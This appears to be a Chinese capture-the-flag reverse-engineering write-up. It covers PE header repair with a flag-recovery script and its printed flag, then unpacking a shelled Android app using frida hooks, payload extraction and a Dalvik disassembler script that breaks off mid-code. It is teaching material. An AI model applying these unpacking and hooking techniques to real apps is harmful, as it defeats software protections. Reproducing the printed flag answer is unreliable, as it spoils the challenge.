PE结构

先贴一张结构图

1

PE 文件执行时 PE 装载器的操作流程

  1. 检查 DOS 头中 PE 头偏移,跳转至 PE 头位置.[E 文件被执行后,PE 装载器首先启动定位操作 —— 读取 DOS 头(DOS header)中记录的 PE 头(PE header)偏移量,确认该偏移位置后,直接跳转到 PE 头所在的内存地址,为后续验证 PE 头做准备。]
  2. 验证 PE 头有效性,跳转至 PE 头尾部[跳转至 PE 头后,PE 装载器进入验证环节:检查当前 PE 头的格式与标识是否符合规范(即判断 PE 头是否有效)。若验证通过,装载器会进一步跳转到 PE 头的尾部 —— 因 PE 头尾部与节表(Section Table)直接衔接,此跳转可快速衔接后续节表处理流程。]
  3. 读取节表信息,通过文件映射机制映射节段并设属性[PE 头尾部紧跟节表,装载器在完成 PE 头验证后,立即读取节表中的节段信息(如节段大小、位置等);随后采用文件映射机制处理节段:Windows 不会一开始就将整个 PE 文件读入物理内存,仅由装载器建立虚拟地址与 PE 文件的映射关系,仅当需要执行某内存页指令或访问某页数据时,才将对应页面从磁盘提交到物理内存(该机制确保文件装入速度不受文件大小显著影响);同时,装载器会根据节表中指定的规则,为映射到内存的节段设置对应的读写属性(如只读、可写、可执行等)。]
  4. 处理 PE 文件中的逻辑部分[待所有节段成功映射入内存后,PE 装载器进入后续逻辑处理阶段:针对 PE 文件中需动态关联的逻辑部分(典型如输入表 import table,用于关联外部函数与资源),继续执行解析、关联等操作,确保 PE 文件能正常调用外部资源,为最终执行指令奠定基础。]

分析一个程序

1

DOS头分成header和DOS存根。

1

1

如图2,e_lfanew指向PE头的位置。

例题

1

有两处被改动了

WZ –> MZ 90 –>80再用IDA打开。

1

发现可以正常打开了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 已知的 data 数组(37字节)
data = [
0x0A, 0x0C, 0x04, 0x1F, 0x26, 0x6C, 0x43, 0x2D, 0x3C, 0x0C,
0x54, 0x4C, 0x24, 0x25, 0x11, 0x06, 0x05, 0x3A, 0x7C, 0x51,
0x38, 0x1A, 0x03, 0x0D, 0x01, 0x36, 0x1F, 0x12, 0x26, 0x04,
0x68, 0x5D, 0x3F, 0x2D, 0x37, 0x2A, 0x7D
]

n = len(data)

# 假设输入长度为 n,因为 data 有 n 字节,且最后是 }
# 使用递推:input[i+1] = input[i] ^ i ^ data[i]

def recover_flag(start_char):
inp = [0] * n
inp[0] = start_char
for i in range(n - 1):
inp[i+1] = inp[i] ^ i ^ data[i]
return bytes(inp).decode('latin1')

# 尝试常见 flag 开头
candidates = ['f', 'c', 'F']

for c in candidates:
flag = recover_flag(ord(c))
if flag.endswith('}'):
print(f"可能的 flag: {flag}")
# 额外检查是否合理
if 'flag{' in flag or 'FLAG{' in flag or 'ctf{' in flag:
print(f"✅ 匹配格式: {flag}")
1
flag{Y0u_kn0w_what_1s_PE_File_F0rmat}

apk逆向部分总结持续更新

strangeapp.apk(frida的使用)

先用jadx打开

一般主要逻辑就在源代码的com的MainActivity里面。

本题:

shell:

JniBridge主要用于 Java 与原生代码(如 C/C++)之间的交互。

MainActivity在布局中的sampleText控件上显示文本 “hello”。

主要实现了应用启动时的初始化、环境检测、动态加载 Dex 文件等功能,是一个应用壳程序(Shell)。

strangeapp:

MainActivity用户在输入框中输入一段文本,点击按钮后,程序将其处理成字节数组(aa()),然后与 TARGET 比较(compareBytes),如果一致就弹出成功提示。

MainActivity$$ExternalSyntheticLambda0用来实现一个按钮的点击事件。

总的来说

它主要是一个”壳”(Shell),负责解密和加载真正的应用逻辑隐藏在assets的extract.dat。

壳的主要逻辑在native层,native层在apk(apk是zip文件可以解压)的lib里的so文件里。

1

so文件可以用IDA打开

分析so文件知道JNI_OnLoad`函数处理APK中的隐藏数据(偏移298440处),映射为ELF文件并执行。flag可能由这个ELF文件生成或解密得出。

此时我们可以用frida进行hook。

先写一下frida的安装,我这里用的是夜神模拟器。

先用pip安转frida和frida-tools,我这里用的是conda安转的直接pip install xxx就行了。

然后

1
2
3
4
conda activate xxxx 
pip install frida
pip install frida-tools
frida --version #查看版本

我这里是16.5.9,然后去官网下载

然后到 夜神模拟器\Nox\bin 打开终端

1
2
3
nox_adb.exe devices
adb -s <ip:port> shell
getprop ro.product.cpu.abi

1

64位 所以我们下载frida-server-16.5.9-android-x86_64.xz

解压

再到 夜神模拟器\Nox\bin 打开终端

1
2
3
4
5
6
7
8
adb push frida-server-16.5.9-android-x86_64 /data/local/tmp
adb forward tcp:27042 tcp:27042
adb forward tcp:27043 tcp:27043
adb shell
su
cd /data/local/tmp/
chmod 755 frida-server-16.5.9-android-x86_64
./frida-server-16.5.9-android-x86_64
1
2
3
frida-ps -U #查看所有进程
frida-ps -Ua #查看所有安装的应用
frida -U -l hook.js -n "com.example.myapp" #运行js脚本

有时候会遇见闪退,就点击的时候立即运行

1
adb shell pidof com.swdd.strangeapp  #获取PID

然后再用获取的PID运行hook.js注意此时不能点击模拟器。

1
frida -U -p PID -l hook.js

用frida直接hook密文,秘钥,和iv直接猜测AES解密,这个感觉不是正解,正解应该是要脱壳。

先分析JNI_OnLoad的sub_1FDE8,可以知道高度混淆的原生库加载器。

用脚本提取出elf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3

import sys
import os

# 定义Payload的起始偏移量
PAYLOAD_OFFSET = 0x48DC8 # 十进制 298440


def extract_payload(input_file, output_file):
"""
从输入的SO文件中提取Payload并保存到输出文件
"""
try:
# 检查输入文件是否存在
if not os.path.exists(input_file):
print(f"错误: 输入文件 '{input_file}' 不存在。")
return False

with open(input_file, 'rb') as f_in:
# 跳转到Payload的起始偏移量
f_in.seek(PAYLOAD_OFFSET)
# 读取从偏移量开始到文件末尾的所有数据
payload_data = f_in.read()

# 检查是否读取到了数据
if not payload_data:
print(f"错误: 在偏移量 {PAYLOAD_OFFSET} 之后没有数据。")
return False

# 将数据写入输出文件
with open(output_file, 'wb') as f_out:
f_out.write(payload_data)

print(f"成功! Payload 已从 '{input_file}' 提取到 '{output_file}'")
print(f"提取大小: {len(payload_data)} 字节")
return True

except Exception as e:
print(f"提取过程中发生错误: {e}")
return False


if __name__ == '__main__':
# 如果没有提供参数,使用默认路径
if len(sys.argv) < 3:
input_file = r"D:\桌面\libshell.so"
output_file = r"D:\桌面\payload.elf"
print(f"使用默认路径: 输入文件={input_file}, 输出文件={output_file}")
else:
# 使用提供的参数
input_file = sys.argv[1]
output_file = sys.argv[2]

extract_payload(input_file, output_file)

把dat文件(在解压后的assets文件夹里)用010打开,分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
数据项1
键: 0x003BEF18
原始大小: 8 (0x08)
数据: 70 10 27 AF 00 00 5B 01 22 73 5B 02 23 73 0E 00 (16字节)

数据项2
键: 0x003BEF38
原始大小: 8 (0x08)
数据: 54 20 22 73 54 21 23 73 6E 30 63 AD 10 03 0E 00 (16字节)

数据项3
键: 0x003BF224
原始大小: 4 (0x04)
数据: 70 10 27 AF 00 00 0E 00 (8字节)

数据项4
键: 0x003BF23C
原始大小: 4 (0x04)
数据: 70 10 27 AF 00 00 0E 00 (8字节)

数据项5
键: 0x003BF254
原始大小: 4 (0x04)
数据: 70 10 27 AF 00 00 0E 00 (8字节)

数据项6
键: 0x003BF26C
原始大小: 4 (0x04)
数据: 70 10 27 AF 00 00 0E 00 (8字节)

数据项7
键: 0x003BF284
原始大小: 4 (0x04)
数据: 70 10 27 AF 00 00 0E 00 (8字节)

数据项8
键: 0x003BF29C
原始大小: 4 (0x04)
数据: 70 10 27 AF 00 00 0E 00 (8字节)

数据项9
键: 0x003BF2B4
原始大小: 4 (0x04)
数据: 70 10 27 AF 00 00 0E 00 (8字节)

数据项10
键: 0x003BF2CC
原始大小: 4 (0x04)
数据: 70 10 27 AF 00 00 0E 00 (8字节)

数据项11
键: 0x003BF2E4
原始大小: 4 (0x04)
数据: 70 10 27 AF 00 00 0E 00 (8字节)

数据项12
键: 0x003BF088
原始大小: 38 (0x26)
数据: 13 00 30 00 23 00 E1 1D 26 00 06 00 00 00 69 00 24 73 0E 00 00 03 01 00 30 00 00 00 76 11 07 7C 9D 33 17 85 B2 17 CB 01 2A 6D B3 05 A9 0A B3 6A 4E 64 7B 8A D1 1F 13 38 73 97 F5 DA EE B8 0C 2A 11 37 87 D4 77 D7 57 76 5F B4 AC 45 (76字节)

数据项13
键: 0x003BF0E4
原始大小: 4 (0x04)
数据: 70 10 E5 16 00 00 0E 00 (8字节)

数据项14
键: 0x003BF024
原始大小: 41 (0x29)
数据: 38 04 28 00 6E 10 68 AF 04 00 0A 00 38 00 03 00 28 20 12 00 6E 20 51 AF 04 00 0A 00 DF 01 00 05 8E 11 22 02 C8 15 70 10 89 AF 02 00 6E 20 8D AF 12 00 0C 02 12 13 6E 20 79 AF 34 00 0C 03 6E 20 95 AF 32 00 0C 02 6E 10 A5 AF 02 00 0C 02 11 02 11 04 (82字节)

数据项15
键: 0x003BEFA0
原始大小: 57 (0x39)
数据: 1A 00 09 27 1A 01 09 27 22 02 A4 16 62 03 59 73 6E 20 60 AF 30 00 0C 03 1A 04 AC 36 71 10 5F AD 04 00 0C 04 70 30 50 B3 32 04 22 03 A3 16 62 04 59 73 6E 20 60 AF 41 00 0C 04 70 20 4F B3 43 00 1A 04 AD 36 71 10 5F AD 04 00 0C 04 71 10 4D B3 04 00 0C 04 12 15 6E 40 4E B3 54 32 62 05 59 73 6E 20 60 AF 57 00 0C 05 6E 20 4C B3 54 00 0C 05 11 05 (114字节)

数据项16
键: 0x003BEF58
原始大小: 27 (0x1B)
数据: 12 00 38 05 19 00 38 06 17 00 21 51 21 62 32 21 03 00 28 11 12 01 21 52 35 21 0C 00 48 02 05 01 48 03 06 01 32 32 03 00 0F 00 D8 01 01 01 28 F4 12 10 0F 00 0F 00 (54字节)

数据项17
键: 0x003BF1EC
原始大小: 20 (0x14)
数据: 22 00 C2 03 70 20 97 16 30 00 6E 20 A6 16 40 00 0C 00 1A 01 8D 6B 12 02 6E 30 B5 16 10 02 0C 00 6E 10 C1 16 00 00 0E 00 (40字节)

数据项18
键: 0x003BF0FC
原始大小: 61 (0x3D)
数据: 6E 10 EE 0F 05 00 0C 00 6E 10 2D AF 00 00 0C 00 70 20 60 AD 04 00 0C 01 62 02 24 73 70 30 61 AD 14 02 0A 02 38 02 08 00 1A 02 48 3D 70 20 66 AD 24 00 28 06 1A 02 58 6A 70 20 66 AD 24 00 28 1D 0D 01 22 02 C8 15 70 10 89 AF 02 00 1B 03 43 26 01 00 6E 20 95 AF 32 00 0C 02 6E 10 94 AE 01 00 0C 03 6E 20 95 AF 32 00 0C 02 6E 10 A5 AF 02 00 0C 02 70 20 66 AD 24 00 0E 00 (122字节)

数据项19
键: 0x003BF198
原始大小: 33 (0x21)
数据: 6F 20 FB 16 43 00 60 00 2B 73 6E 20 65 AD 03 00 60 00 2A 73 6E 20 62 AD 03 00 0C 00 1F 00 92 02 60 01 29 73 6E 20 62 AD 13 00 0C 01 1F 01 8A 02 22 02 56 15 70 30 5B AD 32 00 6E 20 73 0F 21 00 0E 00

用dalvik源码打表,把extract.dat文件完全转为smali

原码地址Indroid/libdex/DexOpcodes.h at master · UchihaL/Indroid · GitHub

由于我们仅对 extract.dat 这一个文件进行指令还原,还需要从原始的 classes.dex 文件中提取数据,将其中的字符串索引一并还原。

classes.dex解压apk就可以看到。

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
import struct
from typing import Dict, Tuple, List, Optional


def s1_to_s8(x: int, bits: int) -> int:
sign = 1 << (bits - 1)
mask = (1 << bits) - 1
x &= mask
return (x ^ sign) - sign


def s16(x: int) -> int:
return struct.unpack('<h', struct.pack('<H', x & 0xFFFF))[0]


def s32_from_u2(lo: int, hi: int) -> int:
v = (hi << 16) | lo
return struct.unpack('<i', struct.pack('<I', v))[0]


def s64_from_u2(u1: int, u2_: int, u3: int, u4: int) -> int:
lo = (u2_ << 16) | u1
hi = (u4 << 16) | u3
v = (hi << 32) | lo
return struct.unpack('<q', struct.pack('<Q', v & 0xFFFFFFFFFFFFFFFF))[0]


def hex32(n: int) -> str:
return f"0x{(n & 0xFFFFFFFF):08x}"


def hex16(n: int) -> str:
return f"0x{(n & 0xFFFF):04x}"


def hex8(n: int) -> str:
return f"0x{(n & 0xFF):02x}"


OPCODES: Dict[int, Tuple[str, str, Optional[int], Optional[int]]] = {
0x00: ("nop", "10x", None, None),
0x01: ("move", "12x", None, None),
0x02: ("move/from16", "22x", None, None),
0x03: ("move/16", "32x", None, None),
0x04: ("move-wide", "12x", None, None),
0x05: ("move-wide/from16", "22x", None, None),
0x06: ("move-wide/16", "32x", None, None),
0x07: ("move-object", "12x", None, None),
0x08: ("move-object/from16", "22x", None, None),
0x09: ("move-object/16", "32x", None, None),
0x0a: ("move-result", "11x", None, None),
0x0b: ("move-result-wide", "11x", None, None),
0x0c: ("move-result-object", "11x", None, None),
0x0d: ("move-exception", "11x", None, None),
0x0e: ("return-void", "10x", None, None),
0x0f: ("return", "11x", None, None),
0x10: ("return-wide", "11x", None, None),
0x11: ("return-object", "11x", None, None),
0x12: ("const/4", "11n", None, None),
0x13: ("const/16", "21s", None, None),
0x14: ("const", "31i", None, None),
0x15: ("const/high16", "21ih", None, None),
0x16: ("const-wide/16", "21s", None, None),
0x17: ("const-wide/32", "31i", None, None),
0x18: ("const-wide", "51l", None, None),
0x19: ("const-wide/high16", "21lh", None, None),
0x1a: ("const-string", "21c", 0, None),
0x1b: ("const-string/jumbo", "31c", 0, None),
0x1c: ("const-class", "21c", 1, None),
0x1d: ("monitor-enter", "11x", None, None),
0x1e: ("monitor-exit", "11x", None, None),
0x1f: ("check-cast", "21c", 1, None),
0x20: ("instance-of", "22c", 1, None),
0x21: ("array-length", "12x", None, None),
0x22: ("new-instance", "21c", 1, None),
0x23: ("new-array", "22c", 1, None),
0x24: ("filled-new-array", "35c", 1, None),
0x25: ("filled-new-array/range", "3rc", 1, None),
0x26: ("fill-array-data", "31t", None, None),
0x27: ("throw", "11x", None, None),
0x28: ("goto", "10t", None, None),
0x29: ("goto/16", "20t", None, None),
0x2a: ("goto/32", "30t", None, None),
0x2b: ("packed-switch", "31t", None, None),
0x2c: ("sparse-switch", "31t", None, None),
0x2d: ("cmpl-float", "23x", None, None),
0x2e: ("cmpg-float", "23x", None, None),
0x2f: ("cmpl-double", "23x", None, None),
0x30: ("cmpg-double", "23x", None, None),
0x31: ("cmp-long", "23x", None, None),
0x32: ("if-eq", "22t", None, None),
0x33: ("if-ne", "22t", None, None),
0x34: ("if-lt", "22t", None, None),
0x35: ("if-ge", "22t", None, None),
0x36: ("if-gt", "22t", None, None),
0x37: ("if-le", "22t", None, None),
0x38: ("if-eqz", "21t", None, None),
0x39: ("if-nez", "21t", None, None),
0x3a: ("if-ltz", "21t", None, None),
0x3b: ("if-gez", "21t", None, None),
0x3c: ("if-gtz", "21t", None, None),
0x3d: ("if-lez", "21t", None, None),

0x44: ("aget", "23x", None, None),
0x45: ("aget-wide", "23x", None, None),
0x46: ("aget-object", "23x", None, None),
0x47: ("aget-boolean", "23x", None, None),
0x48: ("aget-byte", "23x", None, None),
0x49: ("aget-char", "23x", None, None),
0x4a: ("aget-short", "23x", None, None),
0x4b: ("aput", "23x", None, None),
0x4c: ("aput-wide", "23x", None, None),
0x4d: ("aput-object", "23x", None, None),
0x4e: ("aput-boolean", "23x", None, None),
0x4f: ("aput-byte", "23x", None, None),
0x50: ("aput-char", "23x", None, None),
0x51: ("aput-short", "23x", None, None),

0x52: ("iget", "22c", 2, None),
0x53: ("iget-wide", "22c", 2, None),
0x54: ("iget-object", "22c", 2, None),
0x55: ("iget-boolean", "22c", 2, None),
0x56: ("iget-byte", "22c", 2, None),
0x57: ("iget-char", "22c", 2, None),
0x58: ("iget-short", "22c", 2, None),

0x59: ("iput", "22c", 2, None),
0x5a: ("iput-wide", "22c", 2, None),
0x5b: ("iput-object", "22c", 2, None),
0x5c: ("iput-boolean", "22c", 2, None),
0x5d: ("iput-byte", "22c", 2, None),
0x5e: ("iput-char", "22c", 2, None),
0x5f: ("iput-short", "22c", 2, None),

0x60: ("sget", "21c", 2, None),
0x61: ("sget-wide", "21c", 2, None),
0x62: ("sget-object", "21c", 2, None),
0x63: ("sget-boolean", "21c", 2, None),
0x64: ("sget-byte", "21c", 2, None),
0x65: ("sget-char", "21c", 2, None),
0x66: ("sget-short", "21c", 2, None),

0x67: ("sput", "21c", 2, None),
0x68: ("sput-wide", "21c", 2, None),
0x69: ("sput-object", "21c", 2, None),
0x6a: ("sput-boolean", "21c", 2, None),
0x6b: ("sput-byte", "21c", 2, None),
0x6c: ("sput-char", "21c", 2, None),
0x6d: ("sput-short", "21c", 2, None),

0x6e: ("invoke-virtual", "35c", 3, None),
0x6f: ("invoke-super", "35c", 3, None),
0x70: ("invoke-direct", "35c", 3, None),
0x71: ("invoke-static", "35c", 3, None),
0x72: ("invoke-interface", "35c", 3, None),

0x74: ("invoke-virtual/range", "3rc", 3, None),
0x75: ("invoke-super/range", "3rc", 3, None),
0x76: ("invoke-direct/range", "3rc", 3, None),
0x77: ("invoke-static/range", "3rc", 3, None),
0x78: ("invoke-interface/range", "3rc", 3, None),

0x7b: ("neg-int", "12x", None, None),
0x7c: ("not-int", "12x", None, None),
0x7d: ("neg-long", "12x", None, None),
0x7e: ("not-long", "12x", None, None),
0x7f: ("neg-float", "12x", None, None),
0x80: ("neg-double", "12x", None, None),

0x81: ("int-to-long", "12x", None, None),
0x82: ("int-to-float", "12x", None, None),
0x83: ("int-to-double", "12x", None, None),
0x84: ("long-to-int", "12x", None, None),
0x85: ("long-to-float", "12x", None, None),
0x86: ("long-to-double", "12x", None, None),
0x87: ("float-to-int", "12x", None, None),
0x88: ("float-to-long", "12x", None, None),
0x89: ("float-to-double", "12x", None, None),
0x8a: ("double-to-int", "12x", None, None),
0x8b: ("double-to-long", "12x", None, None),
0x8c: ("double-to-float", "12x", None, None),
0x8d: ("int-to-byte", "12x", None, None),
0x8e: ("int-to-char", "12x", None, None),
0x8f: ("int-to-short", "12x", None, None),

0x90: ("add-int", "23x", None, None),
0x91: ("sub-int", "23x", None, None),
0x92: ("mul-int", "23x", None, None),
0x93: ("div-int", "23x", None, None),
0x94: ("rem-int", "23x", None, None),
0x95: ("and-int", "23x", None, None),
0x96: ("or-int", "23x", None, None),
0x97: ("xor-int", "23x", None, None),
0x98: ("shl-int", "23x", None, None),
0x99: ("shr-int", "23x", None, None),
0x9a: ("ushr-int", "23x", None, None),

0x9b: ("add-long", "23x", None, None),
0x9c: ("sub-long", "23x", None, None),
0x9d: ("mul-long", "23x", None, None),
0x9e: ("div-long", "23x", None, None),
0x9f: ("rem-long", "23x", None, None),
0xa0: ("and-long", "23x", None, None),
0xa1: ("or-long", "23x", None, None),
0xa2: ("xor-long", "23x", None, None),
0xa3: ("shl-long", "23x", None, None),
0xa4: ("shr-long", "23x", None, None),
0xa5: ("ushr-long", "23x", None, None),

0xa6: ("add-float", "23x", None, None),
0xa7: ("sub-float", "23x", None, None),
0xa8: ("mul-float", "23x", None, None),
0xa9: ("div-float", "23x", None, None),
0xaa: ("rem-float", "23x", None, None),

0xab: ("add-double", "23x", None, None),
0xac: ("sub-double", "23x", None, None),
0xad: ("mul-double", "23x", None, None),
0xae: ("div-double", "23x", None, None),
0xaf: ("rem-double", "23x", None, None),

0xb0: ("add-int/2addr", "12x", None, None),
0xb1: ("sub-int/2addr", "12x", None, None),
0xb2: ("mul-int/2addr", "12x", None, None),
0xb3: ("div-int/2addr", "12x", None, None),
0xb4: ("rem-int/2addr", "12x", None, None),
0xb5: ("and-int/2addr", "12x", None, None),
0xb6: ("or-int/2addr", "12x", None, None),
0xb7: ("xor-int/2addr", "12x", None, None),
0xb8: ("shl-int/2addr", "12x", None, None),
0xb9: ("shr-int/2addr", "12x", None, None),
0xba: ("ushr-int/2addr", "12x", None, None),

0xbb: ("add-long/2addr", "12x", None, None),
0xbc: ("sub-long/2addr", "12x", None, None),
0xbd: ("mul-long/2addr", "12x", None, None),
0xbe: ("div-long/2addr", "12x", None, None),
0xbf: ("rem-long/2addr", "12x", None, None),
0xc0: ("and-long/2addr", "12x", None, None),
0xc1: ("or-long/2addr", "12x", None, None),
0xc2: ("xor-long/2addr", "12x", None, None),
0xc3: ("shl-long/2addr", "12x", None, None),
0xc4: ("shr-long/2addr", "12x", None, None),
0xc5: ("ushr-long/2addr", "12x", None, None),

0xc6: ("add-float/2addr", "12x", None, None),
0xc7: ("sub-float/2addr", "12x", None, None),
0xc8: ("mul-float/2addr", "12x", None, None),
0xc9: ("div-float/2addr", "12x", None, None),
0xca: ("rem-float/2addr", "12x", None, None),

0xcb: ("add-double/2addr", "12x", None, None),
0xcc: ("sub-double/2addr", "12x", None, None),
0xcd: ("mul-double/2addr", "12x", None, None),
0xce: ("div-double/2addr", "12x", None, None),
0xcf: ("rem-double/2addr", "12x", None, None),

0xd0: ("add-int/lit16", "22s", None, None),
0xd1: ("rsub-int", "22s", None, None),
0xd2: ("mul-int/lit16", "22s", None, None),
0xd3: ("div-int/lit16", "22s", None, None),
0xd4: ("rem-int/lit16", "22s", None, None),
0xd5: ("and-int/lit16", "22s", None, None),
0xd6: ("or-int/lit16", "22s", None, None),
0xd7: ("xor-int/lit16", "22s", None, None),

0xd8: ("add-int/lit8", "22b", None, None),
0xd9: ("rsub-int/lit8", "22b", None, None),
0xda: ("mul-int/lit8", "22b", None, None),
0xdb: ("div-int/lit8", "22b", None, None),
0xdc: ("rem-int/lit8", "22b", None, None),
0xdd: ("and-int/lit8", "22b", None, None),
0xde: ("or-int/lit8", "22b", None, None),
0xdf: ("xor-int/lit8", "22b", None, None),
0xe0: ("shl-int/lit8", "22b", None, None),
0xe1: ("shr-int/lit8", "22b", None, None),
0xe2: ("ushr-int/lit8", "22b", None, None),

0x0100: ("packed-switch-payload", "pswitch-payload", None, None),
0x0200: ("sparse-switch-payload", "sswitch-payload", None, None),
0x0300: ("array-payload", "array-payload", None, None),

0xfa: ("invoke-polymorphic", "45cc", 3, 4),
0xfb: ("invoke-polymorphic/range", "4rcc", 3, 4),
0xfc: ("invoke-custom", "35c", 5, None),
0xfd: ("invoke-custom/range", "3rc", 5, None),
0xfe: ("const-method-handle", "21c", 6, None),
0xff: ("const-method-type", "21c", 4, None),
}


def reg_name(r: int, regs_size: int, ins_size: int) -> str:
locals_size = max(0, regs_size - ins_size)
if r >= locals_size:
return f"p{r - locals_size}"
return f"v{r}"


def ref_kind_name(kind: Optional[int]) -> str:
if kind is None:
return "ref"
return {
0: "string",
1: "type",
2: "field",
3: "method",
4: "proto",
5: "call_site",
6: "method_handle",
}.get(kind, "ref")


class DexFile:
def __init__(self, path: str):
with open(path, 'rb') as f:
self.data: bytes = f.read()
self.size = len(self.data)
self._parse_header()
self._parse_primary_tables()
self._parse_map_list()
self._mh_count = 0
self._mh_off = 0
self._cs_count = 0
self._cs_off = 0
if self.map_items.get(0x0008): # TYPE_METHOD_HANDLE_ITEM
self._mh_count, self._mh_off = self.map_items[0x0008]
if self.map_items.get(0x0007): # TYPE_CALL_SITE_ID_ITEM
self._cs_count, self._cs_off = self.map_items[0x0007]

def _u1(self, off: int) -> int:
return self.data[off]

def _u2(self, off: int) -> int:
return struct.unpack_from('<H', self.data, off)[0]

def _u4(self, off: int) -> int:
return struct.unpack_from('<I', self.data, off)[0]

def _bytes(self, off: int, n: int) -> bytes:
return self.data[off:off + n]

def _parse_header(self) -> None:
if self.size < 0x70:
raise ValueError("DEX 文件过小")
self.magic = self._bytes(0, 8)
self.file_size = self._u4(0x20)
self.header_size = self._u4(0x24)
self.endian_tag = self._u4(0x28)
self.map_off = self._u4(0x34)
self.string_ids_size = self._u4(0x38)
self.string_ids_off = self._u4(0x3C)
self.type_ids_size = self._u4(0x40)
self.type_ids_off = self._u4(0x44)
self.proto_ids_size = self._u4(0x48)
self.proto_ids_off = self._u4(0x4C)
self.field_ids_size = self._u4(0x50)
self.field_ids_off = self._u4(0x54)
self.method_ids_size = self._u4(0x58)
self.method_ids_off = self._u4(0x5C)

def _parse_primary_tables(self) -> None:
self._string_offs: List[int] = []
for i in range(self.string_ids_size):
self._string_offs.append(self._u4(self.string_ids_off + i * 4))
self._string_cache: Dict[int, str] = {}

self._type_str_idx: List[int] = []
for i in range(self.type_ids_size):
self._type_str_idx.append(self._u4(self.type_ids_off + i * 4))

self._proto_list: List[Tuple[int, int, int]] = []
for i in range(self.proto_ids_size):
off = self.proto_ids_off + i * 12
shorty_idx = self._u4(off + 0)
return_type_idx = self._u4(off + 4)
parameters_off = self._u4(off + 8)
self._proto_list.append((shorty_idx, return_type_idx, parameters_off))

self._field_list: List[Tuple[int, int, int]] = []
for i in range(self.field_ids_size):
off = self.field_ids_off + i * 8
class_idx = self._u2(off + 0)
type_idx = self._u2(off + 2)
name_idx = self._u4(off + 4)
self._field_list.append((class_idx, type_idx, name_idx))

self._method_list: List[Tuple[int, int, int]] = []
for i in range(self.method_ids_size):
off = self.method_ids_off + i * 8
class_idx = self._u2(off + 0)
proto_idx = self._u2(off + 2)
name_idx = self._u4(off + 4)
self._method_list.append((class_idx, proto_idx, name_idx))

def _parse_map_list(self) -> None:
self.map_items: Dict[int, Tuple[int, int]] = {}
if self.map_off == 0:
return
size = self._u4(self.map_off)
off = self.map_off + 4
for _ in range(size):
if off + 12 > self.size:
break
typ = self._u2(off + 0)
_unused = self._u2(off + 2)
count = self._u4(off + 4)
